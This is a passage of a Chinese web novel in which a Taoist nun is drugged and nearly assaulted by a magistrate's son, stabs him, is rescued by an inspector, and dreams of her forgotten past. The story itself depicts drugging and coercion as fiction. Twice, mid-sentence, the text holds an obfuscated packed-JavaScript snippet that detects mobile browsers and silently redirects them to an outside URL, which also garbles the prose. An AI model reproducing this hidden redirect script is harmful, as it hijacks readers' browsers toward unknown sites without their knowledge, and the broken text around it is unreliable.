她眼睛一亮,笑容在嘴边绽开,抹了抹下巴和脸颊的汗珠,把纸马收了起来,往城门跑去。 赤县城门口守城的两个小兵百无聊赖地照例询问了过路的行人,就放他们过去了。 其中一个小兵打了个哈欠,说:“这也太无聊了,又没什么事,这大热天的,干嘛要我们在这站岗。” 另一个小兵也懒懒地说:“是啊,不就是天末国的使团进京要路过这么。等了好几天了,既没见使团,也没看见半个可疑的人物。” “哎哎哎,”最开始说话的这个小兵用手肘捅了捅他的手臂,唤他回神,“看,可疑的人来了。” 二人一齐朝前一看,只见一个女道士往这边跑来。 她头发散乱,几缕发丝被汗打湿,紧紧贴在脸上,身上的道袍被划了几道长长的口子,从口子处渗出了些许血迹。 乍一看还以为是个不知道从哪捡了身道袍的乞丐。 那个女道士一路小跑过来,脚因为身体又疲累,又跑太急扭了一下。 她在地上缓了一会,很快爬了起来,脚一瘸一拐地又往城门走来。 两个小兵对望一眼,都在对方眼中读到了相同的戏谑。 他们决定逗一下这个奇怪的女子。 程希夷右脚剧痛,勉强忍住走到了城门口。 她身上没带任何包袱,以为他们会直接放她进去。 谁知两只大手横在她面前,不让她过去。 她抬起头,想解释一二,说:“小道身上并未带任何东西,请放小道过去。” 本来两个小兵只是打算戏谑一下这可能是逃荒来的道士,没想到听到一声脆若银铃的祈求,二人顿时怔住了。 方才太远了没看清,只看到贴住脸的发丝,此刻离得近了,她又抬起头,才看到那双清透的眼睛,像夜晚倒映圆月的湖水,明净灵透,不自觉让人沉浸进去。 拥有这么一双眼睛的人,不说有绝俗美貌,也会有几分姿色。 知县的公子喜欢各色美人,他府中已经有了多房小妾,各个有绝代容姿,可没见过这样的。 如果把她送去取悦知县公子,说不定他一高兴,跟知县说上一说,就把他们调离这吃力不讨好的守城门的岗位。 要是他满意,也许还会给了肥缺。 那个叫王环的小兵心里头有了新主意,说:“你是什么人,看你行为诡异,不会是哪里来的探子吧?” 程希夷十分着急,来不及分辨他话中的言外之意,只着急解释说:“小道是云游道士,来此是有急事向知县大人禀告。” 另一个叫杨满的,看他兄弟跟他挤眉弄眼,便懂了他的意思,也打算为难一下这人,说:“你这打扮,是逃荒来的吧,知县大人不许灾民进城。” 程希夷此时也懂了这两人是在为难她,可她没有时间和他们废话,即使硬闯也要闯进去。 但她还是先冷静冷静,正想再周旋几句,只听其中一人又讲:“如此可疑的人,我们要带你去见县官,听凭发落。” 程希夷按剑的手慢慢放下,这虽然与她开始想的不同,但到了县官面前再说明也是一样的。 于是她说:“好,我跟你们去。” 其中那个叫王环与旁边的耳语几句,二人相视一笑,王环主动提出要带她去,另一人留下继续看守。 程希夷答应了,她脚上有伤,走不快,与他一前一后去往县衙。 等到了县衙门口,她的额头上满是疼出来的冷汗,后背也已经被浸湿了。 她也通晓一些岐黄之术,等将此事亲口与知县说明后就去药铺抓点伤药,但现在时间不等人。 王环将事告诉衙门口的两个衙役,他们便进去通传,不多时将消息带了出来。 得了消息,王环望着台阶下的程希夷,说:“跟我去内堂,县太爷会在那见你的。” 程希夷微微点了点头,左脚刚迈上台阶,右脚却怎么也迈不上去。 之前走的都是平地,还可以拖着受伤的右脚走,可是走台阶不一样,右脚无法发力,难以走上去。 王环在一旁冷眼看了一会,怕误了里头人的时间,方才开口问:“要我扶你吗?” “不必了。”程希夷断然拒绝,刚才在路上,这人时不时用奇怪的眼神打量她,好似她是一件奇货,她心下顿生厌恶,绝不想接受这种人的帮忙。 她咬了咬牙,忍痛走完台阶,随他进去了。 领她进了内堂,王环不知道又转身去了哪。 程希夷总算不用站着,寻了个圈椅坐了下来,脚上的疼痛稍微缓解了些许。 有丫鬟过来奉茶,她顺势问:“请问知县大人什么时候来呢?” 丫鬟答:“我家老爷去迎接京城要来的巡抚了,并不在这。” “那他什么时候回来。” “奴婢不知。” 丫鬟说完就出去了,留下程希夷在那疑惑。 丫鬟说知县并不在这,但方才那个守城门的小兵又说带她来内堂见知县。 既然知县出去了,那要来这的必然不会是知县。 为什么那个小兵要骗她? 想到之前那个小兵打量她的眼神,心里觉得不对劲,连丫鬟刚端来的茶也不敢喝了,站起身就准备离开。 这时从外进来了两个人,前头那个是个富家子弟的打扮,一身丝绸衣服,手持折扇,走路慢条斯理,不疾不徐。 后头那个头戴黑纱幞头,身穿深青色圆领官袍,脚蹬乌皮靴,举止颇有些傲气。 进门一见程希夷,富家公子就甩开折扇,掩鼻嫌弃道:“这是把乞丐婆引进来了?” 程希夷:“?”她虽然因为行山路,身上沾了些泥巴和尘土,衣服也被划破了几道,但也不至于如此狼狈吧? 后头的官吏倒不在意这些,走上前,问:“你是什么人?” 程希夷见他身上穿着官服,信任了几分,说:“小道是个云游的道士,来此是为了向知县大人状告赤县所辖的大柳树村的村长和村民勾结巫师,利用巫术残害民女和老人。” “哦,巫术?”深青色圆领袍的官吏念到这个词时语气抖了抖,显然皇帝所颁布的禁巫令之严格深入人心。 “巫术和巫师之言可不能乱说,”他说,“不然小心你的项上人头。” 程希夷自然不怕他这番警告,挺直了腰说:“小道所言,句句属实。他们正拿普通民女祭祀天神,请大人快派人去往大柳树村救人!” “这……”官吏摸了摸胡须,“这巫术之事非同小可,明府还未回来,本官作为县丞,也不敢擅自做主啊。” 程希夷闻言,语气愈发焦急:“可那个女子危在旦夕,还请速速派人清剿,根除此种巫术毒瘤!” 她这一番话铿锵有力,字字在理,即使县丞本来只是随知县公子前来,并不打算听她的话,此时也不免有些犹豫。 一旁的知县公子听她有几分聪慧劲,忽然多了些兴趣,本撇向一边的头又转了回来。 谁知不看不知道,一仔细看,这女子纵使青丝遮面,只露出半张脸,也可见她灵秀脱俗,只要稍加打理,必定会是一个不输于他后院那些妾室的美人。 想到这,他合上折扇,上前说道:“既然如此,赞府何必再推辞呢,速速派人前去就是了。至于我爹那边,我会去说的。这种事可不能拖延啊,你说是吧——” 说到最后一句,他拖长了尾音,笑着给县丞递了个眼神,后者很快便意会到他的意思。 县丞意味深长地看了程希夷一眼,说:“本官这就按你说的做。” 说完他就离开了,屋内只留下程希夷和知县公子。 程希夷见话带到,也已安排,总算松了口气。 她一瘸一拐向外走去,打算先处理自己脚上的伤。 后面的知县公子唤她:“等一等。” 程希夷停住脚步,问:“公子还有何事?” 知县公子指着她的右脚说:“这位……” 他本想说“姑娘”,又见她身上穿着道袍,改口说:“这位女冠,你这模样也不好出去,而且你不辞辛苦前来,不想听剿灭巫师的消息么,不如留下来等一等。” 程希夷刚想拒绝,知县公子连忙说:“您协助官府剿灭巫师,这是大功一件,请别推辞。我叫人抬您去休息。” 他唤来几个衙役抬来竹轿,请她上去。 他一番盛意,加上刚才又帮她劝服县丞,不好再推辞。 “那就请将小道送到医馆吧。” 县令公子微笑着颔首。 她道了谢,就上了轿子。 竹轿子一摇一摇从后门出了县衙,转了几道弯,进了一处府邸,又到了一处院落才停下。 程希夷下了轿,便有几个丫鬟上来搀扶她,将她带进一间香气沉沉的房间。 她本以为来的应当是处医馆,谁知轿子进了一户人家。 她满腹疑问,拽了旁边一个替她梳理头发的丫鬟问:“姐姐,这儿是在哪?” “姑娘,这儿是知县府邸啊。”丫鬟说。 “知县府邸?”程希夷问,“我不是让他们去医馆么,怎么来这了?” 这时,外头来了个丫鬟,朝程希夷行了一礼,说:“姑娘,热水已经备好了,请您沐浴。” “沐浴?”程希夷蹙眉,站起身,“不,我要去医馆。” 一旁等着侍候的几个丫鬟见状,忙上来一齐跪下,齐说:“请您沐浴。” 程希夷不敢相信这些人连沐浴都会强迫人,可这密密麻麻跪着的人让她颇不习惯。 “你们先起来。” 丫鬟们仍旧跪着。 那她绕路算了。 谁知她往左绕,丫鬟们就跪到左边,她往右绕,丫鬟们就跪到右边。 她现在脚不好,丫鬟们跪的都比她走得快。 “饶了我吧,”程希夷实在没法子,说,“你们到底要做什么?” “这是公子的吩咐,”其中一个丫鬟说,“他说您现在一身尘土,已经为您备下浴汤,大夫也已经在外等候了,待您洗净后就可诊治。” 程希夷往外一看,确实看见个大夫打扮的男子在等候。 “既然大夫已经来了,还是先看我的脚吧。”她还是没法接受在别人家沐浴,自己这样子也不是不能忍受。 没想到这次丫鬟答应了,很快那大夫进来替她看扭伤的脚踝。 “不严重,贴两副膏药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13016143|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好了。”大夫边说边从药箱里拿出一贴膏药,一巴掌将它贴在程希夷扭伤的右脚上。 “嘶!”程希夷疼得倒吸一口凉气,那膏药贴上后也没太多缓解疼痛,反而贴处有种灼烧的热感,嗅着也不大对。 她问:“大夫,这膏药贴对的么,我怎么觉得有些疼?” 大夫不满地看了她一眼,说:“当然是对的,我家可是有专业治疗跌打损伤三十年的家传本事。” “好,好吧。”程希夷没力气分辨,她觉得浑身有些瘫软,头昏昏沉沉的。 “我好困。” “我们扶您去沐浴吧。”丫鬟们扶着她往门外走去。 “不,我不去。”程希夷还勉强有点意识。 “是是是,不去,只是去休息。”丫鬟们哄她。 出门时,大夫和她们对了个得逞的眼神。 她感觉自己似乎被泡在温水中,被人轻柔地擦洗身体,又换上干净的衣衫。 她努力想睁开眼,可是迷香加药膏的药效太重,始终难以清醒。 丫鬟们将她梳洗干净,又用金钗步摇和脂粉装饰了一番,就送到一房中,让她躺在牙床上。 过了一会,那些东西的药效退了一点,程希夷右手稍微能动弹一些,眼睛也勉强睁开了一条缝。 “吱呀。” 门那边似乎进来了个人,看不清模样。 他迈着轻浮的步子,从外走进,又轻轻带上门。 程希夷听见脚步近了。 “果然是个美人!”县令公子赞叹道。 他将程希夷扶起,又细细打量她,边看边称赞:“果然是寻到宝了!” “原来你表面衣冠楚楚,内心却包藏祸心。” 听到声音,县令公子惊讶地看过去,没想到她居然醒了,还能说话。是迷药分量不够么? 程希夷将自己下唇狠狠一咬,鲜血从齿缝渗出,疼痛让她保持了些许清醒。 “你都已经落到我的手里了,还说这些做什么?”县令公子搂着她,露出玩味的笑容,随即凑上去吻她的后颈。 趁他离得近,程希夷用尽方才积蓄的力气,往他肩膀上狠狠一咬。 “嘶!”县令公子吃痛,放开了她,捂住伤处,这娘们看着柔柔弱弱的,没想到力气这么大。 “你最好放我离开,不然待会就不止是肩膀了。”程希夷撑起身子,断断续续地说。 她用手摸了摸腰间,可只摸到一手光滑的丝绸布料,自己的剑早被丫鬟们拿走了。 她顿时感觉如坠冰窟,手边没有利器,别说走出去,连将面前的人重伤都做不到。 县令公子碰了碰疼痛的肩膀,又听她这番话,恼怒起来。 内宅里,可没有女人敢这么对他。 “还醒着,看样子是迷药还不够啊。”县令公子扭曲的脸上扯出一丝凶狠的怪笑,他一把抓住程希夷的头发,逼她仰视自己,随即狠狠给了她一巴掌。 “还没有人敢这么忤逆本公子!” 程希夷一边的脸蛋瞬间肿了起来,但她反而因为疼痛更加清醒。 头上的金钗掉落在她手边,她将它摸到手里,慢慢喘气,继续积蓄力量。 等县令公子以为她毫无反抗之力,再次贴近时,她对准他的胸口,用双手决然狠刺了进去。 还怕一刺不够,她将金钗拔出,打算再刺第二下,可她已经没什么力气了。 县令公子捂着胸口,不敢置信地瞪大了眼睛。 他往后倒了几步,碰倒房中摆着花瓶的木架,血不断从他胸口咕噜咕噜冒出。 程希夷握着带血的金钗,跌跌撞撞往门外跑去。 门外的人早被县令公子支开,但有几个听到骚动的小厮闻声赶来。 程希夷不知道自己在往哪里跑,只看见门便穿过去。 前头突然出现一个打扫庭院的小厮,他不明所以地看着这个身上带血的女子。 身后有人在喊:“快抓住她,她杀了公子!” 小厮一激灵,扔了扫帚,卷起袖子就要来抓她。 程希夷见不对,打算拐个方向继续跑。 忽然听到一声破空的啸叫声,一个硬硬的东西击中了她的前额。 “唔!”程希夷眼前一黑,有什么热热的液体顺着额角流了下来,糊了她的眼睛。 她彻底没了力气,扶着一旁的柱子瘫坐下去。 “这下跑不了了吧!”刚才扔石头的小厮得意洋洋。 后头来了个人,小厮正要讨赏,谁知看到那人身上所穿官服时立刻吓得哑口无言。 程希夷感觉自己喘不上气,耳边嗡嗡的,模糊的视野里好像有许多人聚了过来。 又要被抓了吗?她想。 可是周边围的人越来越多,却都不上来。 这是怎么回事,是见她这样害怕了吗? 她手中紧紧抓着那只带血的金钗,只等他们上前,拼死也要戳几个洞。 她既然杀了他们的公子,不会有好下场的。 是她错了,她不该轻易相信他人,不该自以为可以救别人,不然也不会落入如此境地。 有人过来了。 程希夷没有力气抬头,只模模糊糊看到一片绯色的衣角。 那人蹲下来,伸手过来似乎想抓住她。 她这下真的害怕了,不住地往里缩,可那只手不依不饶地再次伸过来。 她用金钗不知道往哪插下去,似乎插中了,因为她听到那个人轻微地哼了一声。 那个人抬起手。 肯定又要给她一巴掌了,她想。 无所谓,反正都要死了,又不是第一次当鬼了。 身体死亡,也只是让她灰飞烟灭的日子提前了些。 想象中的巴掌却没有落下,反而是轻柔地握住她那只攥紧金钗的手。 眼前已经彻底看不清了,只看到一片黑影。 她终于支撑不住,昏了过去,落入一个温暖宽厚,还带着悠悠竹香的怀抱。 好温暖。她莫名这么想。 36. 旧梦 赤县县令的府邸内,一处不大不小的庭院乌泱泱挤着一大群人,他们都围着厢房一侧的柱子紧张地张望。 热辣的太阳下,许多人的衣袍浸出汗水,顺着衣料一滴滴落在地面上。 一阵穿堂风卷过树上一片枯叶,从众人中间而过。 枯叶刮过地面时,发出“嘶嘶”的声音,随即飘落在地上不动了。 众人被这一阵风吹得浑身颤抖,顿感燥热消失,可是面前的一幕又让他们的心被攥紧起来。 “巡抚!” 随着不知是谁的一声惊呼,众人都分明看到那个浑身带血的女子将手中的金钗刺进巡抚的右手手臂中。 其中最为紧张的就是随巡抚而来的赤县县令吴金。 刚才巡抚让他们都站在一旁别动时,他就不该听! 现在这疯女人刺伤巡抚,这事又是在他府中发生的,万一怪罪下来,他的仕途可不能一帆风顺了! 就是那个逆子,死了倒好,没死他这强抢的罪名是逃不掉的,自己还要被里里外外查一遍,到时候又要送钱送人去求情,再折腾一番。 当下还是先把这女子抓住,暗中安上一个私通敌国的罪名,事情就有回旋的余地。 思到这,他又放下心来,准备派人去将那女子制服。 可他还未行动,那女子刺中之后忽然晕了过去,而巡抚竟只是拔出金钗,而后将她抱入怀中,站起身来。 县令有很不好的预感。 杜文焕唤来随行的随从,急切地吩咐:“速去叫大夫!” “是!” 这句不轻不重的话却重重击在其他人心上,他们都以为这女子只是个又被县令公子抢来的普通民女,没想到竟与巡抚有瓜葛么? 杜文焕此刻的脸色冷得可以结出冰,他锐利的眼神地扫过在场众人,被看到的无一不觉得后背发凉,在这大热天也如坠冰窟。 最后他的眼神落在县令吴金身上。 只一眼便迫使吴金低下头,后者心想一个年轻后辈怎么会有这么强的压迫感,他这次完了。 但杜文焕没打算现在跟他算账,冷冷地说:“吴大人,准备一间干净的厢房。” 吴金战战兢兢地说:“下官领命。” 看巡抚这么在意这个女子,之前的念头都已打消,现在他只能盼这个女子没事了。 …… 难受,非常难受。 那是一种濒临死亡的感觉,忽而像飘向高空,忽而又像坠入地底。 之前被抽出魂魄是一瞬间发生的事,并没有疼痛,醒来就变成一只幽幽飘在空中的鬼魂。 而现在她感受到徘徊在生死之间的痛苦了。 脚好疼,脸好疼,头也好疼,身上没有力气。 意识朦朦胧胧之间似乎听到了零碎的人言。 “她现在怎么样?”是熟悉而又焦急的声音。 “这位姑娘身上的伤都不妨事,只是头被石头砸破伤得有些重,老朽已经用了药,并替她包扎好了。这些都是外伤,但她脉象有些奇怪,老朽能力有限,诊不出什么,以后还得好好休养才行。” “嗯,会的,多谢大夫。” “巡抚客气了。现在老朽要替她医脚上的伤了,可能会有些疼。” 随即是一阵布料摩擦的窸窣声,她被环入一个温暖的怀抱。 “请。” “!” 即使是在昏迷,程希夷也清楚地感受到脚上传来的剧痛。 她疼得咬紧口中的白布,似乎还觉得不够,匆忙之中不知抓住什么柔软的东西,狠狠咬了下去。 “嘶,咬得真狠呐。”是无奈又没有丝毫责怪的声音。 “这脚原先只是扭了,想必是勉强走了一段路,又被庸医耽误,这才这么严重,这几日恐怕都不能走路了。” “嗯,我会照顾好她的。来人,随大夫去抓药。” “告辞了。” 又是一阵脚步和关门声。 抱住她的人用帕子轻轻擦去她因为疼痛而渗出的眼泪和汗水,而后将她放回床上,盖好被子。 她再次昏了过去。 这次她做了个梦,梦中县令公子和那些丫鬟大夫面容扭曲,个个露出怪笑。 一个丫鬟捧着一碗黑色的汤汁说:“姑娘,来喝药了,这是这位大夫开的药方,喝了之后脚就会好的哦。” 她看过去,那个大夫就是将药膏一巴掌拍到脚上扭伤处,让她更为疼痛,最后被迷晕过去的人。 “不,你滚开!” 他们不依不饶,药汤已经喂到嘴边,她感受到那股热气,反抗得愈发厉害。 “我不喝,我不喝!” 那碗药汤却像是焊死在丫鬟手中似的,依旧喂给她。 她奋力打掉,汤汁撒了一身。 一声似乎来自于天外的叹息声将她的神智唤回,眼前的迷境如烟尘一般,瞬间消散不见。 左脸还在隐隐作痛,嘴角的伤口被细细摩挲,而后随着嘴上贴来的柔软,一股暖流从口中渡入,她下意识将那苦涩的汤汁咽了下去。 缓了一口气后,又被这样渡了好几口。 她觉得苦,昏之前受了伤害又害怕,一直想躲,可一只手固定住后脑,温柔而强硬地让她躲无可躲。 那力道刚刚好,既不会让她受伤,也不会让她躲得掉。 药汤总算见了底,她沾了药汤的嘴角被帕子擦拭干净,而后听到那个人到了门前,用略带了点沙哑的声音对外说:“叫个丫鬟来替姑娘换衣服。” “是。” 她又一次昏了过去,这次是因为药力,身体比之前轻松了些许,她沉沉睡去,很快陷入了梦境。 这个梦与她之前做过的梦很相似。 她年纪似乎很小,指着天上的星星问:“那是什么星?” 这次她听到了回答:“是景星,传闻说在有德之国才出现的星辰。” 她偷偷暗示说:“可惜现在是晚上,见不到云彩。听我爹说,我的名字是取自一种象征祥瑞的云彩。” 旁边的小公子了然地笑了,说:“我们俩的名字取自同一句话,‘惟天不言,以象示人,锡羡垂光,景星庆云’[1],庆云又叫卿云。云妹妹,你是在考我有没有忘吗?” 被发现了,她调皮地吐了吐舌头,说:“景星哥哥,你太无趣了,说这句话就是了,干嘛要戳穿我。” 旁边的人轻笑:“是我错了。” 她说:“我原谅你啦,毕竟我听爹说,你天天被程伯伯闷在房里读书,平常都不能出来玩的,太倒霉了。” 旁边的小公子说:“习惯就好了。父亲大人说,我们家世代经商,虽然已经算富余,但士农工商里商排在末等,得供出一个进士才好。” 她笑得灿烂:“我相信你,景星哥哥,你一定可以中个状元,或者什么眼,什么花之类的。” 小公子笑了:“是榜眼和探花啦。不过这是一甲,很难的,家里只要我进前三甲就好,得个同进士及第就可以。而你,云妹妹,你虽不参加科举,但在家不会不看书吧,小心变成小笨蛋哦。” 她说:“我长大后可是要当侠女的,惩恶扬善,除暴安良,不必看太多书。那些书看得我头疼,要我安静地看书,除非天塌下来。” 说完,她取下颈上的银锁,递给旁边的小公子,说:“景星哥哥,你们一年才来一次京城,不久之后你们又要走了。这个送你留作纪念,看到它就像看到我,下次来的时候你再还给我吧。” 小公子珍重地放到胸口处收好,又说:“可是以后我当了官,而你当了侠女,一个在朝一个在野,我们就更见不了几面了。我们俩指腹为婚,到时候我们成亲之后怎么办?” 她笑得天真:“听老人说夫妻成亲后永不分离。嗯……你陪我惩恶扬善,我陪你在朝为官。” 小公子哑然失笑:“那还要很久,我会一直等着这天的。” 他的话并没再得到回应,因为远处冲天的火光吸引了她的注意力。 “那是……我家?” 随着这声惊呼和她惊讶的表情,这段梦境戛然而止,就像是人偶戏到了中场要先休息似的,一道黑幕垂下,她又陷入黑暗之中。 接着黑幕中出现一点光,但再不是之前连续的场景,而是一段段破碎的回忆。 “逃了一个,快追!” “小崽子怎么那么会跑?” “她死了吗?” “死了,破魂刀之下哪里会有活人,而且还是这么小的孩子。” “那是什么东西,快跑!” “可怜的孩子,怎么躺在这呢?” 那点光逐渐变大,大到梦中的她不得不睁开眼睛,眼前先是一片白光,然后周围的声音和物品慢慢变得清晰。 潺潺的水声、窗外小鸟的清脆鸣叫、茶具、竹椅、竹床……最后是面前的白袍道人。 “你……是谁?”她听见自己这么问。 白袍道人是个四十来岁的温柔妇人,她慈爱地说:“我是这座仙渺峰的主人,你还记得自己是谁吗?” 她低头仔细想了想,而后茫然地摇了摇头:“我不知道。” “你记得自己家人是谁吗?” “我不知道。” “你记得自己家在何方吗?” “我不知道。” 白袍道人沉吟半晌,温和而悲伤地问:“那你愿意拜我为师,留在这里吗?” 她点了点头。 “你不知往事,魂魄如同仙渺峰上萦绕的云彩一样飘忽不定,最终无声无形,归于虚无。但太初有道,‘道生一,一生二,二生三,三生万物’[2]。从虚无中也可以生出万物,你就叫‘希夷’,如何?” “好。” “希夷,你以后就叫我师尊。等你身体养好了,为师就带你去见山上的师姐和师兄们。” 又是一点墨色淹没所有场景,她来到下一段回忆。 那是仙渺峰的最高处,那儿有一棵参天古树,露出的树根处是一大片可以躺卧的地方,从那俯瞰,可以看到缭绕的云雾、初升的太阳、绚烂的晚霞…… 而仰视可以看到清晰的星辰。 年幼的希夷喜欢待在这里。 一阵踏在落叶上的脚步声传来,而后希夷头上出现一只修长的大手。 师尊温柔地揉了揉她的头发,说:“小希夷,你怎么一个人躲在这里看书,不跟师姐师兄们去后山抓兔子?” 年幼的希夷抬起头,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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希夷随师尊一同下山,云游四方,赠医施药。 尽管并没有让希夷心中的空隙填满,但尘世的烟火气让她变得不像个出尘的修道人,而慢慢像个十五岁的少女。 每次去山下,她都会带回很多山上没有的点心或是小玩意,当然最重要的是她喜欢的话本。 因为打开了新世界,她逐渐开朗起来,不再一个人闷着去书阁找经书或是炼丹画符之类的书。 如此又过了一年,再次同师尊下山,这次来到的是一个小山村,这里很多人患了瘟疫。 师尊与她尽全力治好村民,并暂时栖居在一户农家里。 农户家有两个小孩,大的是个女孩,叫阿丫,跟希夷一般大,小的是个男孩,叫大牛,略小几岁。 希夷有时候会帮着画一些镇宅的符箓,那两个农户的孩子好奇地上来攀谈。 阿丫说:“这符箓好神奇,真的可以辟邪吗?” 希夷说:“可以。” 阿丫赞叹道:“小道长,你好厉害。对了,来了这么久,俺都还不知道你叫什么名呢?” “希夷。” 似乎是怕他们不知道,她又用手沾了水,在桌上写了字。 阿丫不认得,旁边上了几年学堂的大牛说:“好怪的名字,你居然没有姓吗?” “没有,不过我想这个名并不奇怪吧。” “反正我没听过。而且我娘说,你们这种小道士是从小没爹没娘,被收养的,你也这么可怜吗?” “……” 最后的结局是,大牛被希夷揍了一顿,当然师尊与她也被赶出了这个村子。 回去的路上,希夷说:“师尊,对不起。” 师尊笑了笑,说:“这不怪你。” 希夷摇了摇头,说:“我并不是为打了他而歉意,而为我被情感所影响而歉意。师尊,您带我下山这个决定真的是对的吗?” 师尊摸了摸她的头,说:“为师从未后悔这个决定,修道绝不是压抑自己的情感,那样会离道越来越远。而等你看破它,能轻拿轻放时,你就明白了。” 希夷仍然不明白,在接下来几年也是这样。 她心中就像存在一个情感的空洞,需要很多情感去填,可是填不了,进不去。 这种感觉很痛苦,她愈发想找到痛苦的源头,可是师尊从来闭口不谈。 于是在某一天,她碰了穿越时空的禁术。 这种禁术不是简单地将人带到哪一个时间点,而是让人如同看戏一般看到所有人的过去、现在和未来。 所有人在你眼中一览无余,接近窥探到宇宙奥秘。 可惜这东西并不是普通人可以做到的,希夷也同样失败了,并且差点被卷入时空漩涡。 还是师尊救了她。 那是师尊这么多年第一次在她面前十分严肃,“希夷,你的魂魄受损非常严重,为师已经补不了了。你下山去吧,也不必再回来了,也许在这一年半里,你会找到自己的因果。我也要闭关了。” 那扇门在她眼前缓缓合上,她下了山,开始了自己的寻找之路。 37. 重逢 程希夷一直在做梦,或是梦到往事,或是梦到一些不属于自己的记忆碎片,或是梦到这几个月发生过的事情。 她睡得很不安稳,甚至好几次差点从梦中哭出声来。 这时候她总感觉有人在旁边轻抚她的额角,拭去她的汗水和眼泪。 她很想睁开眼看看那是谁,可是身体很重,眼皮也很重,她怎么也做不到。 只待那股清幽的竹香萦绕在鼻间时,她才会再一次沉沉睡去。 不知道睡了多久,她终于清醒了过来。 “这是在哪?”她下意识撑着疼痛的头,发现那缠着一圈纱布。 自己身上的衣裳也换了,换成一身细腻光润的湖蓝色水纹重莲缎齐腰襦裙。 周围的陈设十分简单,不远处摆着一张桌案,一盆绿萝,几把交椅,一个散发幽香的鱼嘴铜炉。 只有她所在的这个黄梨木雕花床上挂着层层叠叠的幔帐,似乎是怕她吹着风,窗户也只开了一条不大不小的缝。 她掀开被褥,起身下床。 右脚刚着地,便传来一阵轻微的刺痛。 “嘶。”她这才注意到自己的右脚也被裹上了一层厚厚的纱布,而且还用几根木条固定住了。 “我这是怎么了?”她自言自语道。 她被困在梦境中许久,一时还分不清虚幻和现实。 正当她迷茫时,门被推开了,从外走进一个清秀的丫鬟。 丫鬟本来端着午膳,一见程希夷下了床,急得连忙将饭放到桌案上便来扶她。 “姑娘,您伤还没好呢,怎么下床了!” “姑娘?”程希夷疑惑地看着她,“你是谁?这又是哪?” 丫鬟扶她坐回床上才回答:“这儿是巡抚下榻的馆驿,奴婢是巡抚买来伺候姑娘的丫鬟,名叫小春。” “巡抚?”程希夷记起自己来赤县之后发生的事,但记忆里并未有这个人出现。 不顾小春的阻拦,她走到窗前,推开窗一看,楼下几队兵士正来回巡逻,而馆驿门口也有人把守。 程希夷默默合上窗。 自己这是才逃离狼窟,又入虎口了? 小春急切地说:“姑娘,我扶您坐下吧。您的伤刚愈合,可别又让伤口裂开了。” 程希夷不想为难她,任由她扶着,到桌案旁坐下。 小春边将食盒中的菜肴陈列在桌上,边说:“姑娘,您昏睡了一天一夜了,肯定饿了吧,快尝尝这厨房特意为您做的菜。” 程希夷一看,都是些清淡的菜,种类却很丰富,鸡鸭鱼都有,还有一道青菜和一道小葱拌豆腐。 虽然师门没有必须吃素的规定,但她看着这些肉暂时还没什么胃口。 而且万一有人在这饭菜里下了什么药呢? 她看了看一旁脸上没有任何狡诈之色,只期待地看着她的小春,犹豫了一会,还是放下了筷子。 她现在可不敢轻易相信别人。 虽然这些人把她的伤治好了,肯定不会想她死,但或许还有别的目的,还是小心为上。 “我现在暂时不饿。”她说。 小春失望了一会,又突然想起什么似的,去厨房取了一只小碗和一双筷子。 在程希夷的目光下,小春将每样菜夹了一点,又尽数吃下。 小春将空空的碗递给她看,说:“姑娘,这菜没毒。” 她这模样把程希夷逗笑了,警惕的心也放松了些许,说:“你怎么觉得是我怕这菜有毒?” 小春老老实实回答:“是巡抚说的,他说万一您不吃,就让奴婢当着您的面试菜,这样您就会吃了。” “……”程希夷脸上的笑容慢慢消失不见,她还未见那个人,那个人倒是把她猜得一清二楚。 不仅是这菜,还有楼下守卫的兵士,说不定也是防止她跑的。 程希夷试探着问:“小春,你说的这个巡抚,他去哪了?” 小春没有隐瞒:“巡抚他一早看完您就出去了,似乎是去调查什么事。走之前还吩咐奴婢说,万一您醒了,除了出门,要什么都答应您。” “除了出门”,看样子是决心将她关在这了。 他到底想做什么? 程希夷看了看身上的衣裳,衣物完好,身上又没什么别的奇怪的疼痛,可能是不忍心对一个病患下手? “这衣裳是你替我换的么?”程希夷问。 小春点了点头,说:“是奴婢替您换的。因为您在睡梦中有时不愿喝药,药汤会弄脏衣裳,所以喂完药后,奴婢会替您换一身干净的衣裳。” 听着就觉得麻烦,她做了很多噩梦,睡梦中的她肯定会下意识抵抗。 程希夷有些不好意思地说:“麻烦你了,又要替我喂药又要换衣裳。” 这次小春却摇了摇头。 “怎么了?” 小春说:“衣裳是奴婢换的,药是巡抚大人亲自喂给您的。” “!” 程希夷心中的疑惑更甚,喂药这种麻烦的事,交给丫鬟就好,他堂堂一个大人物亲自做这些干什么? 似乎是看出程希夷心中的疑惑,小春扭捏又羞赧地暗示说:“巡抚给您喂药的时候,奴婢和随从们都在门外等候。” “……” 半晌,程希夷才问:“我是他的什么亲戚吗?” “?”小春一时被这跳跃的思维给迷惑住了。 “非亲非故,巡抚为何这么照顾我?” 小春说:“巡抚大人说,您是他的朋友。” 程希夷可不记得交过这么一个巡抚朋友。 方才小春的暗示她听不懂么,不是,只是她不愿细想。 “事已至此,先吃饭吧。” 小春闻言,赶忙说:“对对对,不然等会菜就凉了!” 程希夷拿起筷子,开始一点点吃桌上的菜肴。 她的确没什么胃口,不过需要补充体力,以备不时之需。 用完膳后,小春开始收拾碗筷准备出去。 出去之前,程希夷说:“小春,我有些困,想睡一会。你先去忙吧,待会有什么事不必叫我。” “是。”小春应下后就开门出去了。 程希夷站起身,在房中四处翻找,可惜并没有找到她的道袍和剑。 也是,这些东西怎么会被带回来。 但没找到这些她也必须要走,小春所说的巡抚心思缜密,要是等他回来,她恐怕更难逃掉了。 小春说她昏睡了一天一夜,那大柳树村的阿巧和那聋哑小姑娘怎么样了? 那些村民会不会伤害她们? 